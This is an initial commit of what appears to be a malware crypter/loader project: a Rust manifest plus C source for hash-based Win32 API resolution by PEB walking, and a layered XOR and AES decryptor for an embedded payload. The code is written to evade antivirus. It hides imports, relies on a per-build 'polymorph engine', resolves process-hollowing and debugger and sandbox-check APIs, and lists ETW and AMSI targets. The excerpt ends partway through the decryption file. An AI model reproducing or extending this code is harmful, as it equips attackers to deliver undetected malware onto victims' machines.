initial commit
This commit is contained in:
Generated
+3284
File diff suppressed because it is too large
Load Diff
+45
@@ -0,0 +1,45 @@
|
||||
[package]
|
||||
name = "zerin"
|
||||
version = "1.0.0"
|
||||
edition = "2021"
|
||||
|
||||
[[bin]]
|
||||
name = "zerin"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
axum = { version = "0.7", features = ["ws"] }
|
||||
tokio = { version = "1", features = ["full"] }
|
||||
tokio-rustls = "0.25"
|
||||
tokio-tungstenite = "0.21"
|
||||
sqlx = { version = "0.7", features = ["runtime-tokio", "postgres", "chrono"] }
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
tracing = "0.1"
|
||||
tracing-subscriber = { version = "0.3", features = ["env-filter"] }
|
||||
tower = "0.4"
|
||||
tower-http = { version = "0.5", features = ["cors", "fs"] }
|
||||
hyper = "1"
|
||||
hyper-util = { version = "0.1", features = ["tokio"] }
|
||||
rustls = "0.22"
|
||||
rcgen = "0.12"
|
||||
webpki = "0.22"
|
||||
rand = "0.8"
|
||||
sha2 = "0.10"
|
||||
hkdf = "0.12"
|
||||
hmac = "0.12"
|
||||
x25519-dalek = "2"
|
||||
chacha20poly1305 = "0.10"
|
||||
base64 = "0.21"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
dashmap = "5"
|
||||
bytes = "1"
|
||||
anyhow = "1"
|
||||
thiserror = "1"
|
||||
hex = "0.4"
|
||||
flate2 = "1"
|
||||
zip = "0.6"
|
||||
walkdir = "2"
|
||||
tempfile = "3"
|
||||
uuid = { version = "1", features = ["v4"] }
|
||||
argon2 = "0.5"
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
Executable
+245
@@ -0,0 +1,245 @@
|
||||
/**
|
||||
* api_resolve.c -- PEB walking + PE export table hash resolution
|
||||
*
|
||||
* Resolves Win32 API addresses at runtime via DJB2 hash comparison,
|
||||
* eliminating suspicious imports from the IAT. Hash seed and constants
|
||||
* are patched per-build by the polymorph engine.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <stdint.h>
|
||||
#include "api_resolve.h"
|
||||
|
||||
/* ── PEB structures (custom typedefs to avoid winternl.h conflicts) ── */
|
||||
|
||||
typedef struct _AR_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID DllBase;
|
||||
LPVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
} AR_LDR_DATA_TABLE_ENTRY, *PAR_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _AR_PEB_LDR_DATA {
|
||||
DWORD Length;
|
||||
DWORD Initialized;
|
||||
LPVOID SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} AR_PEB_LDR_DATA, *PAR_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _AR_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2;
|
||||
#ifdef _WIN64
|
||||
BYTE Reserved3[4];
|
||||
#endif
|
||||
LPVOID Reserved4[2];
|
||||
PAR_PEB_LDR_DATA Ldr;
|
||||
} AR_PEB, *PAR_PEB;
|
||||
|
||||
/* ── DJB2 hash seed (patched by polymorph engine) ──────────────── */
|
||||
|
||||
#define API_HASH_SEED 0xDEADBEEF
|
||||
|
||||
/* ── Global API table ──────────────────────────────────────────── */
|
||||
|
||||
ApiTable g_api;
|
||||
|
||||
/* ── Hash functions ────────────────────────────────────────────── */
|
||||
|
||||
static DWORD djb2_hash_wide_lower(const WCHAR *str, USHORT len_bytes) {
|
||||
DWORD hash = API_HASH_SEED;
|
||||
USHORT count = len_bytes / sizeof(WCHAR);
|
||||
for (USHORT i = 0; i < count; i++) {
|
||||
WCHAR c = str[i];
|
||||
if (c >= L'A' && c <= L'Z') c += 0x20;
|
||||
hash = hash * 33 + (DWORD)c;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
static DWORD djb2_hash_ascii(const char *str) {
|
||||
DWORD hash = API_HASH_SEED;
|
||||
while (*str) {
|
||||
hash = hash * 33 + (unsigned char)*str;
|
||||
str++;
|
||||
}
|
||||
return hash;
|
||||
}
|
||||
|
||||
/* ── PEB walking: find module base by hash ─────────────────────── */
|
||||
|
||||
static void *peb_get_module(DWORD hash) {
|
||||
#ifdef _WIN64
|
||||
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readgsqword(0x60))->Ldr;
|
||||
#else
|
||||
PAR_PEB_LDR_DATA ldr = ((PAR_PEB)__readfsdword(0x30))->Ldr;
|
||||
#endif
|
||||
|
||||
PAR_LDR_DATA_TABLE_ENTRY first =
|
||||
(PAR_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink;
|
||||
PAR_LDR_DATA_TABLE_ENTRY entry = first;
|
||||
|
||||
do {
|
||||
if (entry->BaseDllName.Buffer) {
|
||||
DWORD h = djb2_hash_wide_lower(
|
||||
entry->BaseDllName.Buffer,
|
||||
entry->BaseDllName.Length
|
||||
);
|
||||
if (h == hash) return entry->DllBase;
|
||||
}
|
||||
} while ((entry = (PAR_LDR_DATA_TABLE_ENTRY)
|
||||
entry->InMemoryOrderModuleList.Flink) != first);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ── PE export table walking: find export by hash ──────────────── */
|
||||
|
||||
static void *peb_get_proc(void *base, DWORD hash) {
|
||||
if (!base) return NULL;
|
||||
|
||||
LPBYTE mod = (LPBYTE)base;
|
||||
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)mod;
|
||||
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(mod + dos->e_lfanew);
|
||||
IMAGE_EXPORT_DIRECTORY *exports = (IMAGE_EXPORT_DIRECTORY *)(
|
||||
mod + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
);
|
||||
|
||||
DWORD *names = (DWORD *)(mod + exports->AddressOfNames);
|
||||
WORD *ordinals = (WORD *)(mod + exports->AddressOfNameOrdinals);
|
||||
DWORD *funcs = (DWORD *)(mod + exports->AddressOfFunctions);
|
||||
|
||||
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
|
||||
const char *name = (const char *)(mod + names[i]);
|
||||
if (djb2_hash_ascii(name) == hash) {
|
||||
return mod + funcs[ordinals[i]];
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* ── Combined resolver (internal) ──────────────────────────────── */
|
||||
|
||||
static void *resolve_api(DWORD mod_hash, DWORD fn_hash) {
|
||||
void *mod = peb_get_module(mod_hash);
|
||||
if (!mod) return NULL;
|
||||
return peb_get_proc(mod, fn_hash);
|
||||
}
|
||||
|
||||
/* ── Public: lazy resolution for one-off lookups ───────────────── */
|
||||
|
||||
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash) {
|
||||
return resolve_api(mod_hash, fn_hash);
|
||||
}
|
||||
|
||||
/* ── Init: resolve all APIs into global table ──────────────────── */
|
||||
|
||||
void api_resolve_init(void) {
|
||||
/* Module bases */
|
||||
g_api.ntdll_base = peb_get_module(HASH_NTDLL);
|
||||
g_api.kernel32_base = peb_get_module(HASH_KERNEL32);
|
||||
|
||||
/* ntdll */
|
||||
g_api.pNtUnmapViewOfSection =
|
||||
(fn_NtUnmapViewOfSection)peb_get_proc(g_api.ntdll_base, HASH_NtUnmapViewOfSection);
|
||||
g_api.pNtQueryInformationProcess =
|
||||
(fn_NtQueryInformationProcess)peb_get_proc(g_api.ntdll_base, HASH_NtQueryInformationProcess);
|
||||
|
||||
/* kernel32 — resolve LoadLibraryA first (needed for fallback loading) */
|
||||
g_api.pLoadLibraryA =
|
||||
(fn_LoadLibraryA)peb_get_proc(g_api.kernel32_base, HASH_LoadLibraryA);
|
||||
g_api.pCreateProcessW =
|
||||
(fn_CreateProcessW)peb_get_proc(g_api.kernel32_base, HASH_CreateProcessW);
|
||||
g_api.pGetThreadContext =
|
||||
(fn_GetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_GetThreadContext);
|
||||
g_api.pSetThreadContext =
|
||||
(fn_SetThreadContext)peb_get_proc(g_api.kernel32_base, HASH_SetThreadContext);
|
||||
g_api.pResumeThread =
|
||||
(fn_ResumeThread)peb_get_proc(g_api.kernel32_base, HASH_ResumeThread);
|
||||
g_api.pTerminateProcess =
|
||||
(fn_TerminateProcess)peb_get_proc(g_api.kernel32_base, HASH_TerminateProcess);
|
||||
g_api.pReadProcessMemory =
|
||||
(fn_ReadProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_ReadProcessMemory);
|
||||
g_api.pWriteProcessMemory =
|
||||
(fn_WriteProcessMemory)peb_get_proc(g_api.kernel32_base, HASH_WriteProcessMemory);
|
||||
g_api.pVirtualAllocEx =
|
||||
(fn_VirtualAllocEx)peb_get_proc(g_api.kernel32_base, HASH_VirtualAllocEx);
|
||||
g_api.pVirtualAlloc =
|
||||
(fn_VirtualAlloc)peb_get_proc(g_api.kernel32_base, HASH_VirtualAlloc);
|
||||
g_api.pVirtualProtect =
|
||||
(fn_VirtualProtect)peb_get_proc(g_api.kernel32_base, HASH_VirtualProtect);
|
||||
g_api.pVirtualFree =
|
||||
(fn_VirtualFree)peb_get_proc(g_api.kernel32_base, HASH_VirtualFree);
|
||||
g_api.pCreateThread =
|
||||
(fn_CreateThread)peb_get_proc(g_api.kernel32_base, HASH_CreateThread);
|
||||
g_api.pWaitForSingleObject =
|
||||
(fn_WaitForSingleObject)peb_get_proc(g_api.kernel32_base, HASH_WaitForSingleObject);
|
||||
g_api.pCloseHandle =
|
||||
(fn_CloseHandle)peb_get_proc(g_api.kernel32_base, HASH_CloseHandle);
|
||||
g_api.pExitProcess =
|
||||
(fn_ExitProcess)peb_get_proc(g_api.kernel32_base, HASH_ExitProcess);
|
||||
g_api.pSleep =
|
||||
(fn_Sleep)peb_get_proc(g_api.kernel32_base, HASH_Sleep);
|
||||
g_api.pGetTickCount64 =
|
||||
(fn_GetTickCount64)peb_get_proc(g_api.kernel32_base, HASH_GetTickCount64);
|
||||
g_api.pGlobalMemoryStatusEx =
|
||||
(fn_GlobalMemoryStatusEx)peb_get_proc(g_api.kernel32_base, HASH_GlobalMemoryStatusEx);
|
||||
g_api.pGetSystemInfo =
|
||||
(fn_GetSystemInfo)peb_get_proc(g_api.kernel32_base, HASH_GetSystemInfo);
|
||||
g_api.pIsDebuggerPresent =
|
||||
(fn_IsDebuggerPresent)peb_get_proc(g_api.kernel32_base, HASH_IsDebuggerPresent);
|
||||
g_api.pGetCurrentProcess =
|
||||
(fn_GetCurrentProcess)peb_get_proc(g_api.kernel32_base, HASH_GetCurrentProcess);
|
||||
g_api.pQueryPerformanceFrequency =
|
||||
(fn_QueryPerformanceFrequency)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceFrequency);
|
||||
g_api.pQueryPerformanceCounter =
|
||||
(fn_QueryPerformanceCounter)peb_get_proc(g_api.kernel32_base, HASH_QueryPerformanceCounter);
|
||||
g_api.pGetSystemDirectoryA =
|
||||
(fn_GetSystemDirectoryA)peb_get_proc(g_api.kernel32_base, HASH_GetSystemDirectoryA);
|
||||
g_api.plstrcatA =
|
||||
(fn_lstrcatA)peb_get_proc(g_api.kernel32_base, HASH_lstrcatA);
|
||||
g_api.pCreateFileA =
|
||||
(fn_CreateFileA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileA);
|
||||
g_api.pGetFileSize =
|
||||
(fn_GetFileSize)peb_get_proc(g_api.kernel32_base, HASH_GetFileSize);
|
||||
g_api.pCreateFileMappingA =
|
||||
(fn_CreateFileMappingA)peb_get_proc(g_api.kernel32_base, HASH_CreateFileMappingA);
|
||||
g_api.pMapViewOfFile =
|
||||
(fn_MapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_MapViewOfFile);
|
||||
g_api.pUnmapViewOfFile =
|
||||
(fn_UnmapViewOfFile)peb_get_proc(g_api.kernel32_base, HASH_UnmapViewOfFile);
|
||||
g_api.pConvertThreadToFiber =
|
||||
(fn_ConvertThreadToFiber)peb_get_proc(g_api.kernel32_base, HASH_ConvertThreadToFiber);
|
||||
g_api.pCreateFiber =
|
||||
(fn_CreateFiber)peb_get_proc(g_api.kernel32_base, HASH_CreateFiber);
|
||||
g_api.pSwitchToFiber =
|
||||
(fn_SwitchToFiber)peb_get_proc(g_api.kernel32_base, HASH_SwitchToFiber);
|
||||
g_api.pDeleteFiber =
|
||||
(fn_DeleteFiber)peb_get_proc(g_api.kernel32_base, HASH_DeleteFiber);
|
||||
g_api.pFlushInstructionCache =
|
||||
(fn_FlushInstructionCache)peb_get_proc(g_api.kernel32_base, HASH_FlushInstructionCache);
|
||||
|
||||
/* advapi32 — may not be loaded yet, use LoadLibraryA fallback */
|
||||
void *advapi32 = peb_get_module(HASH_ADVAPI32);
|
||||
if (!advapi32 && g_api.pLoadLibraryA) {
|
||||
advapi32 = (void *)g_api.pLoadLibraryA("advapi32.dll");
|
||||
}
|
||||
g_api.pRegOpenKeyExA =
|
||||
(fn_RegOpenKeyExA)peb_get_proc(advapi32, HASH_RegOpenKeyExA);
|
||||
g_api.pRegCloseKey =
|
||||
(fn_RegCloseKey)peb_get_proc(advapi32, HASH_RegCloseKey);
|
||||
|
||||
/* user32 — may not be loaded yet, use LoadLibraryA fallback */
|
||||
void *user32 = peb_get_module(HASH_USER32);
|
||||
if (!user32 && g_api.pLoadLibraryA) {
|
||||
user32 = (void *)g_api.pLoadLibraryA("user32.dll");
|
||||
}
|
||||
g_api.pGetCursorPos =
|
||||
(fn_GetCursorPos)peb_get_proc(user32, HASH_GetCursorPos);
|
||||
}
|
||||
Executable
+185
@@ -0,0 +1,185 @@
|
||||
#ifndef API_RESOLVE_H
|
||||
#define API_RESOLVE_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <winternl.h>
|
||||
|
||||
/* ── Module hash constants (DJB2, patched by polymorph engine) ──── */
|
||||
|
||||
#define HASH_NTDLL 0xDEADBEEF
|
||||
#define HASH_KERNEL32 0xDEADBEEF
|
||||
#define HASH_ADVAPI32 0xDEADBEEF
|
||||
#define HASH_USER32 0xDEADBEEF
|
||||
#define HASH_AMSI 0xDEADBEEF
|
||||
|
||||
/* ── Function hash constants ───────────────────────────────────── */
|
||||
|
||||
/* ntdll.dll */
|
||||
#define HASH_NtUnmapViewOfSection 0xDEADBEEF
|
||||
#define HASH_NtQueryInformationProcess 0xDEADBEEF
|
||||
|
||||
/* kernel32.dll */
|
||||
#define HASH_LoadLibraryA 0xDEADBEEF
|
||||
#define HASH_CreateProcessW 0xDEADBEEF
|
||||
#define HASH_GetThreadContext 0xDEADBEEF
|
||||
#define HASH_SetThreadContext 0xDEADBEEF
|
||||
#define HASH_ResumeThread 0xDEADBEEF
|
||||
#define HASH_TerminateProcess 0xDEADBEEF
|
||||
#define HASH_ReadProcessMemory 0xDEADBEEF
|
||||
#define HASH_WriteProcessMemory 0xDEADBEEF
|
||||
#define HASH_VirtualAllocEx 0xDEADBEEF
|
||||
#define HASH_VirtualAlloc 0xDEADBEEF
|
||||
#define HASH_VirtualProtect 0xDEADBEEF
|
||||
#define HASH_VirtualFree 0xDEADBEEF
|
||||
#define HASH_CreateThread 0xDEADBEEF
|
||||
#define HASH_WaitForSingleObject 0xDEADBEEF
|
||||
#define HASH_CloseHandle 0xDEADBEEF
|
||||
#define HASH_ExitProcess 0xDEADBEEF
|
||||
#define HASH_Sleep 0xDEADBEEF
|
||||
#define HASH_GetTickCount64 0xDEADBEEF
|
||||
#define HASH_GlobalMemoryStatusEx 0xDEADBEEF
|
||||
#define HASH_GetSystemInfo 0xDEADBEEF
|
||||
#define HASH_IsDebuggerPresent 0xDEADBEEF
|
||||
#define HASH_GetCurrentProcess 0xDEADBEEF
|
||||
#define HASH_QueryPerformanceFrequency 0xDEADBEEF
|
||||
#define HASH_QueryPerformanceCounter 0xDEADBEEF
|
||||
#define HASH_GetSystemDirectoryA 0xDEADBEEF
|
||||
#define HASH_lstrcatA 0xDEADBEEF
|
||||
#define HASH_CreateFileA 0xDEADBEEF
|
||||
#define HASH_GetFileSize 0xDEADBEEF
|
||||
#define HASH_CreateFileMappingA 0xDEADBEEF
|
||||
#define HASH_MapViewOfFile 0xDEADBEEF
|
||||
#define HASH_UnmapViewOfFile 0xDEADBEEF
|
||||
|
||||
/* advapi32.dll */
|
||||
#define HASH_RegOpenKeyExA 0xDEADBEEF
|
||||
#define HASH_RegCloseKey 0xDEADBEEF
|
||||
|
||||
/* user32.dll */
|
||||
#define HASH_GetCursorPos 0xDEADBEEF
|
||||
|
||||
/* Fiber APIs (kernel32) */
|
||||
#define HASH_ConvertThreadToFiber 0xDEADBEEF
|
||||
#define HASH_CreateFiber 0xDEADBEEF
|
||||
#define HASH_SwitchToFiber 0xDEADBEEF
|
||||
#define HASH_DeleteFiber 0xDEADBEEF
|
||||
#define HASH_FlushInstructionCache 0xDEADBEEF
|
||||
|
||||
/* Lazy-resolved (not in ApiTable struct) */
|
||||
#define HASH_EtwEventWrite 0xDEADBEEF
|
||||
#define HASH_AmsiOpenSession 0xDEADBEEF
|
||||
|
||||
/* ── Function pointer typedefs ─────────────────────────────────── */
|
||||
|
||||
/* ntdll */
|
||||
typedef NTSTATUS (NTAPI *fn_NtUnmapViewOfSection)(HANDLE, PVOID);
|
||||
typedef NTSTATUS (NTAPI *fn_NtQueryInformationProcess)(HANDLE, ULONG, PVOID, ULONG, PULONG);
|
||||
|
||||
/* kernel32 */
|
||||
typedef HMODULE (WINAPI *fn_LoadLibraryA)(LPCSTR);
|
||||
typedef BOOL (WINAPI *fn_CreateProcessW)(LPCWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION);
|
||||
typedef BOOL (WINAPI *fn_GetThreadContext)(HANDLE, LPCONTEXT);
|
||||
typedef BOOL (WINAPI *fn_SetThreadContext)(HANDLE, const CONTEXT*);
|
||||
typedef DWORD (WINAPI *fn_ResumeThread)(HANDLE);
|
||||
typedef BOOL (WINAPI *fn_TerminateProcess)(HANDLE, UINT);
|
||||
typedef BOOL (WINAPI *fn_ReadProcessMemory)(HANDLE, LPCVOID, LPVOID, SIZE_T, SIZE_T*);
|
||||
typedef BOOL (WINAPI *fn_WriteProcessMemory)(HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
|
||||
typedef LPVOID (WINAPI *fn_VirtualAllocEx)(HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef LPVOID (WINAPI *fn_VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef BOOL (WINAPI *fn_VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
typedef BOOL (WINAPI *fn_VirtualFree)(LPVOID, SIZE_T, DWORD);
|
||||
typedef HANDLE (WINAPI *fn_CreateThread)(LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
|
||||
typedef DWORD (WINAPI *fn_WaitForSingleObject)(HANDLE, DWORD);
|
||||
typedef BOOL (WINAPI *fn_CloseHandle)(HANDLE);
|
||||
typedef void (WINAPI *fn_ExitProcess)(UINT);
|
||||
typedef void (WINAPI *fn_Sleep)(DWORD);
|
||||
typedef ULONGLONG (WINAPI *fn_GetTickCount64)(void);
|
||||
typedef BOOL (WINAPI *fn_GlobalMemoryStatusEx)(LPMEMORYSTATUSEX);
|
||||
typedef void (WINAPI *fn_GetSystemInfo)(LPSYSTEM_INFO);
|
||||
typedef BOOL (WINAPI *fn_IsDebuggerPresent)(void);
|
||||
typedef HANDLE (WINAPI *fn_GetCurrentProcess)(void);
|
||||
typedef BOOL (WINAPI *fn_QueryPerformanceFrequency)(LARGE_INTEGER*);
|
||||
typedef BOOL (WINAPI *fn_QueryPerformanceCounter)(LARGE_INTEGER*);
|
||||
typedef UINT (WINAPI *fn_GetSystemDirectoryA)(LPSTR, UINT);
|
||||
typedef LPSTR (WINAPI *fn_lstrcatA)(LPSTR, LPCSTR);
|
||||
typedef HANDLE (WINAPI *fn_CreateFileA)(LPCSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
|
||||
typedef DWORD (WINAPI *fn_GetFileSize)(HANDLE, LPDWORD);
|
||||
typedef HANDLE (WINAPI *fn_CreateFileMappingA)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
|
||||
typedef LPVOID (WINAPI *fn_MapViewOfFile)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
|
||||
typedef BOOL (WINAPI *fn_UnmapViewOfFile)(LPCVOID);
|
||||
typedef LPVOID (WINAPI *fn_ConvertThreadToFiber)(LPVOID);
|
||||
typedef LPVOID (WINAPI *fn_CreateFiber)(SIZE_T, LPFIBER_START_ROUTINE, LPVOID);
|
||||
typedef void (WINAPI *fn_SwitchToFiber)(LPVOID);
|
||||
typedef void (WINAPI *fn_DeleteFiber)(LPVOID);
|
||||
typedef BOOL (WINAPI *fn_FlushInstructionCache)(HANDLE, LPCVOID, SIZE_T);
|
||||
|
||||
/* advapi32 */
|
||||
typedef LONG (WINAPI *fn_RegOpenKeyExA)(HKEY, LPCSTR, DWORD, REGSAM, PHKEY);
|
||||
typedef LONG (WINAPI *fn_RegCloseKey)(HKEY);
|
||||
|
||||
/* user32 */
|
||||
typedef BOOL (WINAPI *fn_GetCursorPos)(LPPOINT);
|
||||
|
||||
/* ── API table struct ──────────────────────────────────────────── */
|
||||
|
||||
typedef struct _ApiTable {
|
||||
/* Module bases */
|
||||
void *ntdll_base;
|
||||
void *kernel32_base;
|
||||
|
||||
/* ntdll */
|
||||
fn_NtUnmapViewOfSection pNtUnmapViewOfSection;
|
||||
fn_NtQueryInformationProcess pNtQueryInformationProcess;
|
||||
|
||||
/* kernel32 */
|
||||
fn_LoadLibraryA pLoadLibraryA;
|
||||
fn_CreateProcessW pCreateProcessW;
|
||||
fn_GetThreadContext pGetThreadContext;
|
||||
fn_SetThreadContext pSetThreadContext;
|
||||
fn_ResumeThread pResumeThread;
|
||||
fn_TerminateProcess pTerminateProcess;
|
||||
fn_ReadProcessMemory pReadProcessMemory;
|
||||
fn_WriteProcessMemory pWriteProcessMemory;
|
||||
fn_VirtualAllocEx pVirtualAllocEx;
|
||||
fn_VirtualAlloc pVirtualAlloc;
|
||||
fn_VirtualProtect pVirtualProtect;
|
||||
fn_VirtualFree pVirtualFree;
|
||||
fn_CreateThread pCreateThread;
|
||||
fn_WaitForSingleObject pWaitForSingleObject;
|
||||
fn_CloseHandle pCloseHandle;
|
||||
fn_ExitProcess pExitProcess;
|
||||
fn_Sleep pSleep;
|
||||
fn_GetTickCount64 pGetTickCount64;
|
||||
fn_GlobalMemoryStatusEx pGlobalMemoryStatusEx;
|
||||
fn_GetSystemInfo pGetSystemInfo;
|
||||
fn_IsDebuggerPresent pIsDebuggerPresent;
|
||||
fn_GetCurrentProcess pGetCurrentProcess;
|
||||
fn_QueryPerformanceFrequency pQueryPerformanceFrequency;
|
||||
fn_QueryPerformanceCounter pQueryPerformanceCounter;
|
||||
fn_GetSystemDirectoryA pGetSystemDirectoryA;
|
||||
fn_lstrcatA plstrcatA;
|
||||
fn_CreateFileA pCreateFileA;
|
||||
fn_GetFileSize pGetFileSize;
|
||||
fn_CreateFileMappingA pCreateFileMappingA;
|
||||
fn_MapViewOfFile pMapViewOfFile;
|
||||
fn_UnmapViewOfFile pUnmapViewOfFile;
|
||||
fn_ConvertThreadToFiber pConvertThreadToFiber;
|
||||
fn_CreateFiber pCreateFiber;
|
||||
fn_SwitchToFiber pSwitchToFiber;
|
||||
fn_DeleteFiber pDeleteFiber;
|
||||
fn_FlushInstructionCache pFlushInstructionCache;
|
||||
|
||||
/* advapi32 */
|
||||
fn_RegOpenKeyExA pRegOpenKeyExA;
|
||||
fn_RegCloseKey pRegCloseKey;
|
||||
|
||||
/* user32 */
|
||||
fn_GetCursorPos pGetCursorPos;
|
||||
} ApiTable;
|
||||
|
||||
extern ApiTable g_api;
|
||||
|
||||
void api_resolve_init(void);
|
||||
void *api_resolve_func(DWORD mod_hash, DWORD fn_hash);
|
||||
|
||||
#endif /* API_RESOLVE_H */
|
||||
Executable
+166
@@ -0,0 +1,166 @@
|
||||
/**
|
||||
* decrypt_layer.c — XOR + AES-256-CBC decryption using bcrypt.dll
|
||||
*
|
||||
* Layered decryption:
|
||||
* 1. XOR decrypt with embedded 32-byte key
|
||||
* 2. AES-256-CBC decrypt via Windows CNG (bcrypt.dll)
|
||||
*
|
||||
* Keys, IV, and payload are patched in by the crypter engine at build time.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#pragma comment(lib, "bcrypt")
|
||||
|
||||
/* ── Patched at build time (keys XOR'd with per-build mask) ───────── */
|
||||
|
||||
/* CRYPTER_KEY_MASK_PLACEHOLDER */
|
||||
static const uint8_t KEY_MASK[32] = { 0 };
|
||||
|
||||
/* CRYPTER_XOR_KEY_ENC_PLACEHOLDER */
|
||||
static const uint8_t XOR_KEY_ENC[32] = { 0 };
|
||||
|
||||
/* CRYPTER_AES_KEY_ENC_PLACEHOLDER */
|
||||
static const uint8_t AES_KEY_ENC[32] = { 0 };
|
||||
|
||||
/* CRYPTER_AES_IV_ENC_PLACEHOLDER */
|
||||
static const uint8_t AES_IV_ENC[16] = { 0 };
|
||||
|
||||
/* CRYPTER_PAYLOAD_PLACEHOLDER */
|
||||
static const uint8_t ENCRYPTED_PAYLOAD[] = { 0 };
|
||||
|
||||
/* CRYPTER_PAYLOAD_LEN_PLACEHOLDER */
|
||||
static const uint32_t PAYLOAD_LEN = 0;
|
||||
|
||||
/* ── XOR layer ─────────────────────────────────────────────────────── */
|
||||
|
||||
static void xor_decrypt(uint8_t *data, uint32_t len, const uint8_t *key, uint32_t key_len) {
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
data[i] ^= key[i % key_len];
|
||||
}
|
||||
}
|
||||
|
||||
/* ── AES-256-CBC layer (CNG) ───────────────────────────────────────── */
|
||||
|
||||
static int aes_decrypt(const uint8_t *ciphertext, uint32_t ct_len,
|
||||
const uint8_t *key, const uint8_t *iv,
|
||||
uint8_t *plaintext, uint32_t *pt_len) {
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
BCRYPT_KEY_HANDLE hKey = NULL;
|
||||
NTSTATUS status;
|
||||
ULONG result_len = 0;
|
||||
DWORD key_obj_size = 0;
|
||||
ULONG data_size = 0;
|
||||
uint8_t *key_obj = NULL;
|
||||
uint8_t iv_copy[16];
|
||||
int ret = 0;
|
||||
|
||||
/* Open AES provider */
|
||||
status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) return 0;
|
||||
|
||||
/* Set CBC mode */
|
||||
status = BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE,
|
||||
(PUCHAR)BCRYPT_CHAIN_MODE_CBC,
|
||||
sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
/* Get key object size */
|
||||
status = BCryptGetProperty(hAlg, BCRYPT_OBJECT_LENGTH,
|
||||
(PUCHAR)&key_obj_size, sizeof(key_obj_size),
|
||||
&data_size, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
key_obj = (uint8_t *)HeapAlloc(GetProcessHeap(), 0, key_obj_size);
|
||||
if (!key_obj) goto cleanup;
|
||||
|
||||
/* Generate symmetric key */
|
||||
status = BCryptGenerateSymmetricKey(hAlg, &hKey, key_obj, key_obj_size,
|
||||
(PUCHAR)key, 32, 0);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
/* BCryptDecrypt modifies the IV buffer in-place, so copy it */
|
||||
memcpy(iv_copy, iv, 16);
|
||||
|
||||
/* Decrypt */
|
||||
status = BCryptDecrypt(hKey, (PUCHAR)ciphertext, ct_len, NULL,
|
||||
iv_copy, 16, plaintext, ct_len, &result_len, BCRYPT_BLOCK_PADDING);
|
||||
if (!BCRYPT_SUCCESS(status)) goto cleanup;
|
||||
|
||||
*pt_len = result_len;
|
||||
ret = 1;
|
||||
|
||||
cleanup:
|
||||
if (hKey) BCryptDestroyKey(hKey);
|
||||
if (key_obj) HeapFree(GetProcessHeap(), 0, key_obj);
|
||||
if (hAlg) BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
/* ── Public API ────────────────────────────────────────────────────── */
|
||||
|
||||
/**
|
||||
* Derive a key by XOR'ing encrypted key with mask. Operates on the stack.
|
||||
*/
|
||||
static void derive_key(uint8_t *out, const uint8_t *enc, const uint8_t *mask, uint32_t len) {
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
out[i] = enc[i] ^ mask[i % 32];
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Decrypt the embedded payload. Caller must HeapFree the returned buffer.
|
||||
* Returns NULL on failure.
|
||||
*/
|
||||
